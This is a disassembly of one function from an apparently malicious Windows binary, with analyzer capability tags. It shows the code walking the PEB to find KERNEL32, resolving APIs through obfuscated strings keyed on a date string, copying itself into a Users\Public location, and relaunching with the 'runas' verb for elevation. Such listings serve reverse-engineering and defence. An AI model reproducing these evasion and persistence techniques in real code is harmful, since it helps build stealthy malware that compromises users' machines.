Function at 0x401cc0
Capabilities:
Access peb ldr_data
Copy file
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x30]
sub esp, 0x54
push esi
push edi
mov edi, dword [eax + 0xc]
add edi, 0x14
mov esi, dword [edi]
cmp esi, edi
je 0x401d17
nop word [eax + eax]
mov ecx, dword [esi + 0x28]
mov eax, str.KERNEL32.DLL
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401d08
test dl, dl
je 0x401d04
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401d08
add ecx, 2
add eax, 2
test dl, dl
jne 0x401ce8
xor eax, eax
jmp 0x401d0d
sbb eax, eax
or eax, 1
test eax, eax
je 0x401d78
mov esi, dword [esi]
cmp esi, edi
jne 0x401ce0
xor esi, esi
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov ecx, str.FRMREDELDwpDTCo
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
mov dword [0xd59514], eax
call eax
mov eax, dword fs:[0x30]
mov edi, dword [eax + 0xc]
add edi, 0x14
mov esi, dword [edi]
cmp esi, edi
je 0x401d90
nop word [eax + eax]
mov eax, dword [esi + 0x28]
mov ecx, str.KERNEL32.DLL
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401d7d
test dl, dl
je 0x401d74
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401d7d
add eax, 2
add ecx, 2
test dl, dl
jne 0x401d58
xor eax, eax
jmp 0x401d82
mov esi, dword [esi + 0x10]
jmp 0x401d19
sbb eax, eax
or eax, 1
test eax, eax
je 0x401e90
mov esi, dword [esi]
cmp esi, edi
jne 0x401d50
xor esi, esi
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov ecx, str.FAQAOB0AFBVJZiYPESEDCBdh
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
push 0x104
push 0xd59400
push 0
mov dword [0xd593dc], eax
call eax
push str.UsersPublic
push 0xd59400
call fcn.00402c30
add esp, 8
test eax, eax
jne 0x402090
call fcn.00401310
mov edi, eax
mov dword [0xd59394], edi
test edi, edi
je 0x402071
mov esi, edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x401df1
sub esi, ecx
mov edx, str.Saturday__October_07__2023__6:29:00_AM
push ebx
mov ecx, str.EFsoIAEBEwpwcDoBGAYBORFPXlECQ11eVA
call fcn.00401160
push 0x41dd28
push eax
call fcn.00405397
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x401e31
push ebx
push esi
push 1
push edi
call fcn.00408050
push ebx
call fcn.00405706
add esp, 0x14
call fcn.004015b0
push 0
push dword [0xd59390]
push 0xd59400
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov eax, dword [0xd59390]
mov dword [ebp - 0x18], eax
mov eax, dword fs:[0x30]
mov edi, dword [eax + 0xc]
add edi, 0x14
mov esi, dword [edi]
cmp esi, edi
je 0x401ea7
mov eax, dword [esi + 0x28]
mov ecx, str.KERNEL32.DLL
nop dword [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401e98
test dl, dl
je 0x401e8c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401e98
add eax, 2
add ecx, 2
test dl, dl
jne 0x401e70
xor eax, eax
jmp 0x401e9d
mov esi, dword [esi + 0x10]
jmp 0x401d92
sbb eax, eax
or eax, 1
test eax, eax
je 0x401f06
mov esi, dword [esi]
cmp esi, edi
jne 0x401e63
xor edi, edi
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov ecx, str.Hw4VET4NAwtNUjYi
call fcn.00401160
mov ecx, dword [edi + 0x3c]
xor ebx, ebx
mov dword [ebp - 4], eax
mov edx, dword [ecx + edi + 0x78]
mov ecx, dword [ebp - 4]
add edx, edi
mov eax, dword [edx + 0x1c]
add eax, edi
mov dword [ebp - 8], eax
mov eax, dword [edx + 0x20]
add eax, edi
mov dword [ebp - 0xc], eax
mov eax, dword [edx + 0x24]
add eax, edi
mov dword [ebp - 0x14], eax
test ecx, 0xffff0000
jne 0x401f0f
mov esi, dword [edx + 0x10]
movzx ecx, cx
cmp ecx, esi
jb 0x401f0b
mov eax, dword [edx + 0x14]
add eax, esi
cmp ecx, eax
jae 0x401f0b
mov ebx, dword [ebp - 8]
sub ecx, esi
mov ebx, dword [ebx + ecx*4]
jmp 0x401f69
mov edi, dword [esi + 0x10]
jmp 0x401ea9
xor ebx, ebx
jmp 0x401f6b
mov eax, dword [edx + 0x18]
xor esi, esi
mov dword [ebp - 0x10], eax
test eax, eax
je 0x401f6b
nop dword [eax + eax]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401f48
test dl, dl
je 0x401f44
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401f48
add ecx, 2
add eax, 2
test dl, dl
jne 0x401f28
xor eax, eax
jmp 0x401f4d
sbb eax, eax
or eax, 1
test eax, eax
je 0x401f5c
mov ecx, dword [ebp - 4]
inc esi
cmp esi, dword [ebp - 0x10]
jb 0x401f20
jmp 0x401f6b
mov eax, dword [ebp - 0x14]
mov ebx, dword [ebp - 8]
movzx eax, word [eax + esi*2]
mov ebx, dword [ebx + eax*4]
add ebx, edi
push str.Shell32.dll
mov dword [0xd59524], ebx
call ebx
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov ecx, str.AAkRGR4hGRxPVTsGMRcj
mov ebx, eax
call fcn.00401160
mov ecx, dword [ebx + 0x3c]
xor edi, edi
mov dword [ebp - 8], eax
mov edx, dword [ecx + ebx + 0x78]
mov ecx, dword [ebp - 8]
add edx, ebx
mov eax, dword [edx + 0x1c]
add eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [edx + 0x20]
add eax, ebx
mov dword [ebp - 0x14], eax
mov eax, dword [edx + 0x24]
add eax, ebx
mov dword [ebp - 0xc], eax
test ecx, 0xffff0000
jne 0x401fdb
mov esi, dword [edx + 0x10]
movzx ecx, cx
cmp ecx, esi
jb 0x401fd7
mov eax, dword [edx + 0x14]
add eax, esi
cmp ecx, eax
jae 0x401fd7
mov edi, dword [ebp - 4]
sub ecx, esi
mov edi, dword [edi + ecx*4]
jmp 0x402031
xor edi, edi
jmp 0x402033
mov eax, dword [edx + 0x18]
xor esi, esi
mov dword [ebp - 0x10], eax
test eax, eax
je 0x402033
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + esi*4]
add eax, ebx
nop
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x402010
test dl, dl
je 0x40200c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x402010
add ecx, 2
add eax, 2
test dl, dl
jne 0x401ff0
xor eax, eax
jmp 0x402015
sbb eax, eax
or eax, 1
test eax, eax
je 0x402024
mov ecx, dword [ebp - 8]
inc esi
cmp esi, dword [ebp - 0x10]
jb 0x401fe7
jmp 0x402033
mov eax, dword [ebp - 0xc]
mov edi, dword [ebp - 4]
movzx eax, word [eax + esi*2]
mov edi, dword [edi + eax*4]
add edi, ebx
push 0x38
lea eax, [ebp - 0x50]
mov dword [0xd593d4], edi
push 0
push eax
mov dword [ebp - 0x54], 0x3c
call fcn.00403270
mov eax, dword [ebp - 0x18]
add esp, 0xc
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x48], str.runas
mov dword [ebp - 0x38], 1
push eax
call edi
pop ebx
test eax, eax
je 0x4020df
jmp 0x402088
mov esi, 0x4c4b40
push 0x41dd9c
call fcn.00401010
add esp, 4
sub esi, 1
jne 0x402076
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0x41dda0
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov ecx, str.EFsoIAEBEwpwcDoBGAYBORFPXlECQ11eVA
call fcn.00401160
push eax
call fcn.00405397
mov esi, eax
add esp, 8
test esi, esi
je 0x402088
push 8
call fcn.00408644
add esp, 4
mov dword [0xd593a0], eax
test eax, eax
je 0x402088
push esi
push 1
push 7
push eax
call fcn.00408412
mov ecx, dword [0xd593a0]
add esp, 0x10
call fcn.004016c0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0xd59394]
call fcn.004016c0
int3